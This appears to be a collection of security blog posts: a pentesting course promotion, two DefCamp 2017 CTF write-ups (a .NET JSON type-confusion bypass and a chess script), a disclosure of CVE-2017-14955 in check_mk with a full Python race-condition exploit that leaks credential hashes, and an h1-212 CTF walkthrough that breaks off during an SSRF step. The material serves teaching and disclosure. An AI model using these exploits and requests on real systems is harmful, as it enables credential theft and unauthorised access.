I get the question a lot, how to get into pentesting. I think the shortest way to do that is through web pentesting and in this post I will explain why do I think that.

I have three main reasons why I think learning web assessment is the fastest way to get into the pentesting business:

1) Web is everywhere.

I don’t know whether you noticed but more or less everything has a web interface. And I am not talking about the normal web applications on the Internet, which by the way would still provide enough work for all current pentesters for their lifetime. I also mean IoT and embedded devices. Have you noticed for instance that when you withdraw money from an ATM it gives you the same clicking sound as old Internet Explorers. They do that because they run old Internet Explorers :). So they are basically web applications running in an ATM looking box. Also basically 99 % of embedded devices have a web interface. Like trains, cars, home control systems, your fridge, etc…

2) Market demand

The most trivial attack surface of a product or company is their website and there were quite a few hyped attacks in the past couple of years. So when you ask somebody what they would protect first, they would say that their website. All these built up an acceptable level of security aweraness in the web world. This is still lacking for instance in the embedded or control system world. These led to a very high market demand for web assessments. I think right now it is very difficult to find a pentesting job where you wouldn’t do web assessments. Even if you do a network assessment, you will find web application in the network that you will need to test. Most of the consulting companies have around 80% web assessments.

3) The “easiest” to learn

Compared to the other fields of security assessments, web is a very pentester friendly topic. Starting with the fact that HTTP is a plain text protocol. It is much easier and faster to manipulate general web application traffic then some weird proprietary protocol. Also easier then reversing a binary and exploiting a buffer overflow. Although these are also super interesting topics, I only say that web is the easiest to learn.

Probably there are hundreds of other reasons why to learn web pentesting, but I think these are the most significant. And with that let me elegantly change the topic to promote my own course. Ohh, did I just say that out loud. Damn. Anyways, you knew already that I was working on it. So I created a full blown web hacking course cleverly called Web Hacking – Become a Web Pentester. Check it out, there is a Promo video where I explain everything and there are quite a few preview lecture that anybody can watch. The normal price is $180, but for my readers I created a coupon code the give you the course for %50 off. So use the following link:
http://aetherlab.net/y/ho

or the use the coupon code:
HALFOFF

Otherwise let me know what you think about web pentesting.

[DefCamp CTF Qualification 2017] Don't net, kids! (Revexp 400)

1 October 2017 at 11:00

Don’t net, kids!

You’re provided with a big zip file that contains mostly dot net libraries and a few challenge specific ones. Since the name of the challenge hints to be a .Net reversing challenge I focused on DCTFNetCoreWebApp.dll.

I used dotPeek to decompile it and found the following:

  1. DCTFNetCoreWebApp: Mostly some logic to get the webapp running.
  2. DCTFNetCoreWebApp.Business: Contains the API logic (the Executor class). This contains the allowed actions as well (Notice how getflag is considered an AdminCommand).
  3. DCTFNetCoreWebApp.Controllers: Parser for GET/POST requests revealing the route (/api/command)

     abatchy@ubuntu:~/Desktop$ curl https://dotnot.dctf-quals-17.def.camp/api/command
     Hi! Nothing here :)
    
  4. DCTFNetCoreWebApp.Models: Models defining the command layout which we’ll need to communicate with the API.

The meat of the code is the Execute method:

public Command Execute(Command command)
{
  // Need to be authenticated
  if (this._guestActions.Contains(command.Action.ToLower()))
    return this.Authenticate(command);
  if (!this.IsAuthenticated(command))
    throw new Exception("Authentication required!");
  // Is the command of type AdminCommand?
  bool flag = ((MemberInfo) command.GetType()).get_Name().Equals(((MemberInfo) typeof (AdminCommand)).get_Name());
  if (this._adminActions.Contains(command.Action.ToLower()) && !flag)
    throw new Exception("Command not allowed!");
  if (!this._userActions.Contains(command.Action.ToLower()) && !flag)
    throw new Exception("Invalid action");
  string lower = command.Action.ToLower();
  if (lower == "get")
    return this.Get(command);
  if (lower == "set")
    return this.Set(command);
  if (lower == "list")
    return this.List(command);
  if (lower == "readflag")
    return this.ReadFlag(command);
  throw new Exception("Command not implemented!");
}
  1. You need to be authenticated.
  2. Command needs to be of AdminCommand type (inherited).

Let’s try first just contacting the API with a command. Parser for POST:

[HttpPost]
public string Post()
{
  if (((ControllerBase) this).get_Request().get_Body().get_CanSeek())
    ((ControllerBase) this).get_Request().get_Body().set_Position(0L);
  string end = ((TextReader) new StreamReader(((ControllerBase) this).get_Request().get_Body())).ReadToEnd();
  Console.WriteLine(end);
  try
  {
    string str1 = end;
    JsonSerializerSettings serializerSettings = new JsonSerializerSettings();
    int num = 4;
    serializerSettings.set_TypeNameHandling((TypeNameHandling) num);
    string str2 = JsonConvert.SerializeObject((object) this._executor.Execute(((Request) JsonConvert.DeserializeObject<Request>(str1, serializerSettings)).Command));
    Console.WriteLine(str2);
    return str2;
  }
  catch (Exception ex)
  {
    Console.WriteLine(ex.Message);
    return ex.Message;
  }
}

Few notes:

  1. Data provided is parsed to a Command object found in models.
  2. TypeNameHandling is set to Auto, which we need later.

1. Authenticate:

abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{ "Action": "authenticate" } }' https://dotnot.dctf-quals-17.def.camp/api/command

{"UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32","Action":"authenticate","Query":null,"Value":null,"Response":null,"Error":null}

From now on we’ll be using the GUID provided.

2. Readflag

abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{"UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32", "Action":"Readflag" } }' https://dotnot.dctf-quals-17.def.camp/api/command

Command not allowed!

So unfortunately this command fails as the flag is set to false. We need to cast the JSON to an AdminCommand using $type field.

I tried setting it to DCTFNetCoreWebApp.Models.AdminCommand but it returned an error message.

abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"$type":"DCTFNetCoreWebApp.Models.AdminCommand", "Command":{"UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32", "Action":"Readflag" } }' https://dotnot.dctf-quals-17.def.camp/api/command

Type specified in JSON 'DCTFNetCoreWebApp.Models.AdminCommand' was not resolved. Path '$type', line 1, position 48.

Then I thought of casting it to a known class that definitely exists, maybe the error shows any data.

abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{"$type":"System.Guid", "UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32", "Action":"Readflag" } }' https://dotnot.dctf-quals-17.def.camp/api/command

Type specified in JSON 'System.Guid, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e' is not compatible with 'DCTFNetCoreWebApp.Models.Command, DCTFNetCoreWebApp, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'. Path 'Command.$type', line 1, position 33.

Nice! We got the full type to use, replace Request with AdminCommand and we’re good to go.

abatchy@ubuntu:~/Desktop$ curl -X POST -H "Content-Type: application/json" -d '{"Command":{"$type":"DCTFNetCoreWebApp.Models.AdminCommand, DCTFNetCoreWebApp, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null", "UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32", "Action":"Readflag" } }' https://dotnot.dctf-quals-17.def.camp/api/command

{"UserId":"da268d19-b985-4779-bbdf-736ee4ec9b32","Action":"Readflag","Query":null,"Value":null,"Response":"DCTF{4e388d989d6e9cfd2ba8a0ddf0f870c23c4936fabfc5c271d065a467af96e387}\n","Error":null}

The flag is DCTF{4e388d989d6e9cfd2ba8a0ddf0f870c23c4936fabfc5c271d065a467af96e387}.

- Abatchy

[DefCamp CTF Qualification 2017] Buggy Bot (Misc 400)

1 October 2017 at 11:00

Buggy Bot

The python code provided allows you to make a single move then it makes some predefined moves. The goal was a bit confusing to me at first as I wasn’t sure if they wanted the position of the king after the first move only (assuming it survided) or its final position regardless. It was the latter.

I tweaked the code a bit so that it tries all the possible (wrong) moves that would matter, which are the king’s only, moving other pieces is irrelevant. So basically:

  1. Make king move from e1 to X ([a-h][1-8]).
  2. Let bot make moves.
  3. If king survived after those moves, add its position to a set list.

This sloppy code does it:

#/usr/bin/python2.7
column_reference = "a b c d e f g h".split(" ")
EMPTY_SQUARE = " "
row_letters = "abcdefgh"

king_moves = []
position = ''
dest = ''
solution = set([])

class Model(object):
    def __init__(self):
        self.board = []
        pawn_base = "P "*8
        white_pieces =  "R N B Q K B N R"
        white_pawns = pawn_base.strip() 
        black_pieces = white_pieces.lower()
        black_pawns = white_pawns.lower()
        self.board.append(black_pieces.split(" "))
        self.board.append(black_pawns.split(" "))
        for i in range(4):
            self.board.append([EMPTY_SQUARE]*8)
        self.board.append(white_pawns.split(" "))
        self.board.append(white_pieces.split(" "))
 
    def move(self, start,  destination):
        for c in [start, destination]:
            if c.i > 7 or c.j > 7 or c.i <0 or c.j <0:
                return
        if start.i == destination.i and start.j == destination.j:
            return
 
        if self.board[start.i][start.j] == EMPTY_SQUARE:
            return
             
        f = self.board[start.i][start.j]
        self.board[destination.i][destination.j] = f
        self.board[start.i][start.j] = EMPTY_SQUARE
 
 
class BoardLocation(object):
    def __init__(self, i, j):
        self.i = i
        self.j = j
         
 
class View(object):
    def __init__(self):
        pass
    def display(self,  board):
        print("%s: %s"%(" ", column_reference))
        print("-"*50)
        for i, row in enumerate(board):
            row_marker = 8-i
            print("%s: %s"%(row_marker,  row))
         
 
class Controller(object):
    def __init__(self):
        self.model = Model()
        self.view = View()
     
    def run(self):
        global solution
        move = position
        start,  destination = self.parse_move(move)
        self.model.move(start, destination)
        start,  destination = self.parse_move("a2-b2")
        self.model.move(start, destination)
        start,  destination = self.parse_move("b2-c2")
        self.model.move(start, destination)
        start,  destination = self.parse_move("c2-d2")
        self.model.move(start, destination)
        start,  destination = self.parse_move("e2-f2")
        self.model.move(start, destination)
        start,  destination = self.parse_move("f2-g2")
        self.model.move(start, destination)
        start,  destination = self.parse_move("g2-h2")
        self.model.move(start, destination)
        start,  destination = self.parse_move("h2-a1")
        self.model.move(start, destination)
        start,  destination = self.parse_move("a1-b1")
        self.model.move(start, destination)
        start,  destination = self.parse_move("b1-c1")
        self.model.move(start, destination)
        start,  destination = self.parse_move("c1-d1")
        self.model.move(start, destination)
        start,  destination = self.parse_move("e1-f1")
        self.model.move(start, destination)
        start,  destination = self.parse_move("f1-g1")
        self.model.move(start, destination)
        start,  destination = self.parse_move("g1-h1")
        self.model.move(start, destination)
        start,  destination = self.parse_move("h1-a3")
        self.model.move(start, destination)
        start,  destination = self.parse_move("a3-b3")
        self.model.move(start, destination)
        start,  destination = self.parse_move("b3-c3")
        self.model.move(start, destination)
        start,  destination = self.parse_move("c3-d3")
        self.model.move(start, destination)
        start,  destination = self.parse_move("e3-f3")
        self.model.move(start, destination)
        start,  destination = self.parse_move("f3-g3")
        self.model.move(start, destination)
        start,  destination = self.parse_move("g3-h3")
        self.model.move(start, destination)
        start,  destination = self.parse_move("h3-a4")
        self.model.move(start, destination)
        start,  destination = self.parse_move("a4-b4")
        self.model.move(start, destination)
        start,  destination = self.parse_move("b4-c4")
        self.model.move(start, destination)
        start,  destination = self.parse_move("c4-d4")
        self.model.move(start, destination)
        start,  destination = self.parse_move("e4-f4")
        self.model.move(start, destination)
        start,  destination = self.parse_move("f4-g4")
        self.model.move(start, destination)
        start,  destination = self.parse_move("g4-h4")
        self.model.move(start, destination)
        start,  destination = self.parse_move("h4-a5")
        self.model.move(start, destination)
        start,  destination = self.parse_move("a5-b5")
        self.model.move(start, destination)
        start,  destination = self.parse_move("b5-c5")
        self.model.move(start, destination)
        start,  destination = self.parse_move("c5-d5")
        self.model.move(start, destination)
        start,  destination = self.parse_move("e5-f5")
        self.model.move(start, destination)
        start,  destination = self.parse_move("f5-g5")
        self.model.move(start, destination)
        start,  destination = self.parse_move("g5-h5")
        self.model.move(start, destination)
        start,  destination = self.parse_move("h5-a6")
        self.model.move(start, destination)
        start,  destination = self.parse_move("a6-b6")
        self.model.move(start, destination)
        start,  destination = self.parse_move("b6-c6")
        self.model.move(start, destination)
        start,  destination = self.parse_move("c6-d6")
        self.model.move(start, destination)
        start,  destination = self.parse_move("e6-f6")
        self.model.move(start, destination)
        start,  destination = self.parse_move("f6-g6")
        self.model.move(start, destination)
        start,  destination = self.parse_move("g6-h6")
        self.model.move(start, destination)
        start,  destination = self.parse_move("h6-a7")
        self.model.move(start, destination)
        start,  destination = self.parse_move("a7-b7")
        self.model.move(start, destination)
        start,  destination = self.parse_move("b7-c7")
        self.model.move(start, destination)
        start,  destination = self.parse_move("c7-d7")
        self.model.move(start, destination)
        start,  destination = self.parse_move("e7-f7")
        self.model.move(start, destination)
        start,  destination = self.parse_move("f7-g7")
        self.model.move(start, destination)
        start,  destination = self.parse_move("g7-h7")
        self.model.move(start, destination)
        
        for i, row in enumerate(self.model.board):
            row_marker = 8-i
            if 'K' in row:
                print "Move: " + position + "({1}{0})".format(row_marker, row_letters[row.index('K')])
                solution.add("{1}{0}".format(row_letters[row.index('K')],row_marker ))

        
        # Print board if needed
        # self.view.display(self.model.board)
            
    def parse_move(self, move):
         
        s, d = move.split("-")
        i = 8- int(s[-1])
        j = column_reference.index(s[0])
        start = BoardLocation(i, j)
         
        i =  8- int(d[-1])
        j= column_reference.index(d[0])
        destination = BoardLocation(i, j)
 
        return start,  destination
         
 
if __name__=="__main__":
    for j in '12345678':
        for i in 'abcdefgh':
            king_moves.append('e1-' + i + j)
            dest = i+j
            position = 'e1-' + i + j
            C = Controller()
            C.run()
    solution  = sorted(solution)
    out = ''
    for position in solution:
        out = out + position[::-1] + ";"
    print out
abatchy@ubuntu:~/Desktop/tmp$ python a.py
Move: e1-e1(d3)
Move: e1-f1(d3)
Move: e1-a2(d2)
Move: e1-e2(d1)
Move: e1-e3(d4)
Move: e1-f3(d4)
Move: e1-g3(d4)
Move: e1-h3(d4)
Move: e1-a4(d4)
Move: e1-b4(d4)
Move: e1-c4(d4)
Move: e1-d4(d4)
Move: e1-e4(d5)
Move: e1-f4(d5)
Move: e1-g4(d5)
Move: e1-h4(d5)
Move: e1-a5(d5)
Move: e1-b5(d5)
Move: e1-c5(d5)
Move: e1-d5(d5)
Move: e1-e5(d6)
Move: e1-f5(d6)
Move: e1-g5(d6)
Move: e1-h5(d6)
Move: e1-a6(d6)
Move: e1-b6(d6)
Move: e1-c6(d6)
Move: e1-d6(d6)
Move: e1-e6(d7)
Move: e1-f6(d7)
Move: e1-g6(d7)
Move: e1-h6(d7)
Move: e1-a7(d7)
Move: e1-e7(h7)
Move: e1-a8(a8)
Move: e1-b8(b8)
Move: e1-c8(c8)
Move: e1-d8(d8)
Move: e1-e8(e8)
Move: e1-f8(f8)
Move: e1-g8(g8)
Move: e1-h8(h8)
d1;d2;d3;d4;d5;d6;d7;h7;a8;b8;c8;d8;e8;f8;g8;h8

The flag is DCTF{sha256(positions)} = DCTF{1bdd0a4382410d33cd0a0bf0e8193345babc608ea0ddd83dccbcb4763d67c67b}.

- Abatchy

CVE-2017-14955: Win a Race Against Check_mk to Dump All Your Login Data

18 October 2017 at 00:00

The authors of check_mk have fixed a quite interesting vulnerability, which I have recently reported to them, called CVE-2017-14955 (sorry no fancy name here) affecting the oldstable version 1.2.8p25 and below of both check_mk and check_mk Enterprise. It’s basically about a Race Condition vulnerability affecting the login functionality, which in the end leads to the disclosure of authentication credentials to an unauthenticated user. Sounds like a bit of fun, doesn’t it? Let’s dig into it ;-)

How to win a race

You might have seen this login interface before:

While trying to brute force the authentication of check_mk with multiple concurrent threads using the following request:

POST /check_mk/login.py HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---9519178121294961341040589727
Content-Length: 772
Connection: close
Upgrade-Insecure-Requests: 1

---9519178121294961341040589727
Content-Disposition: form-data; name="filled_in"

login
---9519178121294961341040589727
Content-Disposition: form-data; name="_login"

1
---9519178121294961341040589727
Content-Disposition: form-data; name="_origtarget"

index.py
---9519178121294961341040589727
Content-Disposition: form-data; name="_username"

omdadmin
---9519178121294961341040589727
Content-Disposition: form-data; name="_password"

welcome
---9519178121294961341040589727
Content-Disposition: form-data; name="_login"

Login
---9519178121294961341040589727--

A really interesting “No such file or directory” is thrown randomly and completely unreliably, which looks like the following:

<td class="left">Exception</td><td><pre>OSError ([Errno 2] No such file or directory)</pre></td></tr><tr class="data even0"><td class="left">Traceback</td><td><pre>  File &quot;/check_mk/web/htdocs/index.py&quot;, line 95, in handler
    login.page_login(plain_error())

  File &quot;/check_mk/web/htdocs/login.py&quot;, line 261, in page_login
    result = do_login()

  File &quot;/check_mk/web/htdocs/login.py&quot;, line 254, in do_login
    userdb.on_failed_login(username)

  File &quot;/check_mk/web/htdocs/userdb.py&quot;, line 273, in on_failed_login
    save_users(users)

  File &quot;/check_mk/web/htdocs/userdb.py&quot;, line 582, in save_users
    os.rename(filename, filename[:-4])
</pre></td></tr><tr class="data odd0"><td class="left">Local Variables</td><td><pre>{'contacts': {u'admin': {'alias': u'Administrator',
                              'contactgroups': ['all'],
                              'disable_notifications': False,
                              'email': u'[email protected]',
                              'enforce_pw_change': False,
                              'last_pw_change': 0,
                              'last_seen': 0.0,
                              'locked': False,
                              'num_failed': 0,
                              'pager': '',
                              'password': '$1$400000$13371337asdfasdf',
                              'roles': ['admin'],
                              'serial': 2},
[...]

I guess you find this as interesting as I did, because this Python exception basically contains a copy of all added users including their email addresses, roles, and even their encrypted password.

Triaging

Sometimes I’m really curious about the root cause of some vulnerabilities just like in this specific case. What makes this vulnerability so interesting is the fact that the vulnerability can be triggered by just knowing one valid username, which is usually “omdadmin”.

So as soon as a login fails, the function “on_failed_login()” from /packages/check_mk/check_mk-1.2.8p25/web/htdocs/userdb.py is triggered (lines 261-273):

def on_failed_login(username):
    users = load_users(lock = True)
    if username in users:
        if "num_failed" in users[username]:
            users[username]["num_failed"] += 1
        else:
            users[username]["num_failed"] = 1

        if config.lock_on_logon_failures:
            if users[username]["num_failed"] >= config.lock_on_logon_failures:
                users[username]["locked"] = True

        save_users(users)

This function basically stores the number of failed login attempts for a valid user and in the end calls another function named “save_users()” with the number of failed login attempts as an argument. When tracing further through the save_users(), you’ll finally come across the vulnerable code part (lines 575-582):

    
# Users with passwords for Multisite
    filename = multisite_dir + "users.mk.new"
    make_nagios_directory(multisite_dir)
    out = create_user_file(filename, "w")
    out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n")
    out.write("multisite_users = \\n%s\n" % pprint.pformat(users))
    out.close()
    os.rename(filename, filename[:-4])

But the vulnerability doesn’t look quite obvious, right? Well it’s basically about a race condition - if you’re not familiar with Race Conditions, just imagine the following situation applied to that code snippet:

  1. When brute-forcing, you usually use multiple, concurrent threads, because otherwise it would take too long.
  2. All of these threads will go through the same instruction set, which means they will call the save_users() function at nearly the same time - depending a bit on the connection delay between the client and the server.
  3. For simplicity let’s imagine, two of these threads are only a tenth of a millisecond away from each other, so “delayed” by just one instruction (in terms of the script shown above).
  4. The first thread passes all instructions and thereby creates a new “users.mk.new” file (line 2), until it reaches the os.rename call (line 8), but has not yet processed the os.rename call.
  5. The second thread, does the very same, but with the mentioned small delay: it passes all instructions including up to line 7, which means it has just closed the “users.mk.new” file and is now about to call the os.rename function as well.
  6. Since the first thread is a bit ahead of time, it is the first to processes the os.rename function call and thereby renames the “users.mk.new” file to “users.mk”.
  7. The second thread now tries to do the very same thing, however the “users.mk.new” file was just renamed by the first thread, which however means that “its own” os.rename call still tries to rename the “users.mk.new” file, which was apparently just renamed by the first thread.
  8. Since there is no exception handling built around this instruction set, the Python script fails since the second thread cannot find the file to rename and finally throws the stack trace from above leaking all the credential details.

A few more things that come into play here:

First: the create_user_file() function doesn’t really play an important role here, since it’s sole purpose is to create a new File object. So if the file passed to it via its “path” argument does already exist in the file-system, it will not throw an exception at all.

def create_user_file(path, mode):
    path = make_utf8(path)
    f = file(path, mode, 0)
    gid = grp.getgrnam(defaults.www_group).gr_gid
    # Tackle user problem: If the file is owned by nagios, the web
    # user can write it but cannot chown the group. In that case we
    # assume that the group is correct and ignore the error
    try:
        os.chown(path, -1, gid)
        os.chmod(path, 0660)
    except:
        pass
    return f

Second: More interestingly, the application is shipped with an own crash reporting system (see packages/check_mk/check_mk-1.2.8p25/web/htdocs/crash_reporting.py), which prints out all local variables including these very sensitive ones:

def show_crash_report(info):
    html.write("<h2>%s</h2>" % _("Crash Report"))
    html.write("<table class=\"data\">")
    html.write("<tr class=\"data even0\"><td class=\"left legend\">%s</td>" % _("Crash Type"))
    html.write("<td>%s</td></tr>" % html.attrencode(info["crash_type"]))
    html.write("<tr class=\"data odd0\"><td class=\"left\">%s</td>" % _("Time"))
    html.write("<td>%s</td></tr>" % time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(info["time"])))
    html.write("<tr class=\"data even0\"><td class=\"left\">%s</td>" % _("Operating System"))
    html.write("<td>%s</td></tr>" % html.attrencode(info["os"]))
    html.write("<tr class=\"data odd0\"><td class=\"left\">%s</td>" % _("Check_MK Version"))
    html.write("<td>%s</td></tr>" % html.attrencode(info["version"]))
    html.write("<tr class=\"data even0\"><td class=\"left\">%s</td>" % _("Python Version"))
    html.write("<td>%s</td></tr>" % html.attrencode(info.get("python_version", _("Unknown"))))
    html.write("<tr class=\"data odd0\"><td class=\"left\">%s</td>" % _("Exception"))
    html.write("<td><pre>%s (%s)</pre></td></tr>" % (html.attrencode(info["exc_type"]),
                                                     html.attrencode(info["exc_value"])))
    html.write("<tr class=\"data even0\"><td class=\"left\">%s</td>" % _("Traceback"))
    html.write("<td><pre>%s</pre></td></tr>" % html.attrencode(format_traceback(info["exc_traceback"])))
    html.write("<tr class=\"data odd0\"><td class=\"left\">%s</td>" % _("Local Variables"))
    html.write("<td><pre>%s</pre></td></tr>" % html.attrencode(format_local_vars(info["local_vars"])))
    html.write("</table>")

Third: There is also another vulnerable instruction set right before the first one at /packages/check_mk/check_mk-1.2.8p25/web/htdocs/userdb.py - lines 567 to 573, with exactly the same issue:

    
# Check_MK's monitoring contacts
    filename = root_dir + "contacts.mk.new"
    out = create_user_file(filename, "w")
    out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n")
    out.write("contacts.update(\n%s\n)\n" % pprint.pformat(contacts))
    out.close()
    os.rename(filename, filename[:-4])

About the Vendor Response

Just one word: amazing! I have reported this vulnerability on 2017-09-21, which was a Thursday, and they’ve already pushed a fix to their git on Tuesday 2017-09-25 and at the same time published a new version 1.2.8p26 which contains the official fix. Really commendable work check_mk team!

Exploit time!

An exploit script will be disclosed soon over at Exploit-DB, in the meanwhile, take it from here:

#!/usr/bin/python
# Exploit Title: Check_mk <= v1.2.8p25 save_users() Race Condition
# Version:       <= 1.2.8p25
# Date:          2017-10-18
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      https://www.rcesecurity.com
# Software Link: https://mathias-kettner.de/check_mk.html
# Tested on:     1.2.8p25
# CVE:		 CVE-2017-14955
#
# Howto / Notes:
# This scripts exploits the Race Condition in check_mk version 1.2.8p25 and
# below as described by CVE-2017-14955\. You only need a valid username to
# dump all encrypted passwords and make sure to setup a local proxy to
# catch the dump. Happy brute forcing ;-)

import requests
import threading

try:
	from requests.packages.urllib3.exceptions import InsecureRequestWarning
	requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except:
	pass

# Config Me
target_url = "https://localhost/check_mk/login.py"
target_username = "omdadmin"

proxies = {
  'http': 'http://127.0.0.1:8080',
  'https': 'http://127.0.0.1:8080',
}

def make_session():
	v = requests.post(target_url, verify=False, proxies=proxies, files={'filled_in': (None, 'login'), '_login': (None, '1'), '_origtarget': (None, 'index.py'), '_username': (None, target_username), '_password': (None, 'random'), '_login': (None, 'Login')})
	return v.content

NUM = 50

threads = []
for i in range(NUM):
    t = threading.Thread(target=make_session)
    threads.append(t)
    t.start()

H1-212 CTF: Breaking the Teapot!

22 November 2017 at 00:00

With the h1-212 CTF, HackerOne offered a really cool chance to win a visit to New York City to hack on some exclusive targets in a top secret location. To be honest, I’m not a CTF guy at all, but this incentive caught my attention. The only thing one had to do in order to participate was: solve the CTF challenge, document the hacky way into it and hope to get selected in the end.  So I decided to participate and try to get onto the plane - unfortunately my write-up wasn’t selected in the end, however I still like to share it for learning purposes :-)

Thanks to Jobert and the HackerOne team for creating a fun challenge!

Introduction

The CTF was introduced by just a few lines of story:

An engineer of acme.org launched a new server for a new admin panel at http://104.236.20.43/. He is completely confident that the server can’t be hacked. He added a tripwire that notifies him when the flag file is read. He also noticed that the default Apache page is still there, but according to him that’s intentional and doesn’t hurt anyone. Your goal? Read the flag!

While this sounds like a very self-confident engineer, there is one big hint in these few lines to actually get a first step into the door: acme.org.

The first visit to the given URL at http://104.236.20.43/, showed nothing more than the “default Apache” page:

Identify All the Hints!

While brute-forcing a default Apache2 installation doesn’t make much sense (except if you want to rediscover /icons ;-) ), it was immediately clear that a different approach is required to solve this challenge.

What has shown to be quite fruity in my bug bounty career is changing the host header in order to reach other virtual hosts configured on the same web server. In this case, it took me only a single try to find out that the “new admin panel” of “acme.org” is actually located at “admin.acme.org” - so by changing the host header from “104.236.20.43” to “admin.acme.org”:

GET / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

The Apache default page was suddenly gone and the web server returned a different response:

HTTP/1.1 200 OK
Date: Wed, 15 Nov 2017 06:16:41 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: admin=no
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

As you might have noticed already, there is one line in this response that looks ultimately suspicious: The web application issued a “Set-Cookie” directive setting the value of the “admin” cookie to “no”.

Building a Bridge Into the Teapot

While it’s always good to have a healthy portion of self-confidence, the engineer of acme.org seemed to have a bit too much of it when it comes to “the server can’t be hacked”.

Since cookies are actually user-controllable, imagine what would happen if the “admin” cookie value is changed to “yes”?

GET / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes

Surprise, the web application responded differently with an HTTP 405 like the following:

HTTP/1.1 405 Method Not Allowed
Date: Wed, 15 Nov 2017 06:30:21 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

This again means that the HTTP verb needs to be changed. However when changed to HTTP POST:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes

The web application again responded differently with an HTTP 406 this time:

HTTP/1.1 406 Not Acceptable
Date: Wed, 15 Nov 2017 06:35:31 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

While googling around for this unusual status code, I came across the following description by W3:

10.4.7 406 Not Acceptable

The resource identified by the request is only capable of generating response entities which have content characteristics not acceptable according to the accept headers sent in the request.

Unless it was a HEAD request, the response SHOULD include an entity containing a list of available entity characteristics and location(s) from which the user or user agent can choose the one most appropriate. The entity format is specified by the media type given in the Content-Type header field. Depending upon the format and the capabilities of the user agent, selection of the most appropriate choice MAY be performed automatically. However, this specification does not define any standard for such automatic selection.

Jumping into the Teapot

So it seems to be about a missing Content-Type declaration here. After a “Content-Type” header of “application/json” was added to the request:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
Content-Type: application/json

A third HTTP response code - HTTP 418 aka “the teapot” was returned:

HTTP/1.1 418 I'm a teapot
Date: Wed, 15 Nov 2017 06:40:18 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 37
Connection: close
Content-Type: application/json

{"error":{"body":"unable to decode"}}

Now it was pretty obvious that it’s about a JSON-based endpoint. By supplying an empty JSON body as part of the HTTP POST request:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
Content-Type: application/json
Content-Length: 2

{}

The application responded with the missing parameter name:

HTTP/1.1 418 I'm a teapot
Date: Wed, 15 Nov 2017 06:43:58 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 31
Connection: close
Content-Type: application/json

{"error":{"domain":"required"}}

Given the parameter name, this somehow smelled a bit like a nifty Server-Side Request Forgery challenge.

Short Excursion to SSRF

What I usually do as some sort of precaution in such scenarios is having a separate domain like “rcesec.com”,  whose authoritative NS servers point to an IP/server under my control in order to be able to spoof DNS requests of all kinds. So i.e. “ns1.rcesec.com” and “ns2.rcesec.com” are the authoritative NS servers for “rcesec.com”, which both point to the IP address of one of my servers:

On the nameserver side, I do like to use the really awesome tool called “dnschef” by iphelix, which is capable of spoofing all kinds of DNS records like A, AAAA, MX, CNAME or NS to whatever value you like. I usually do point all A records to the loopback address 127.0.0.1 to discover some interesting data:

Breaking the Teapot

Going on with the exploitation and adding a random sub-domain under my domain “rcesec.com”:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
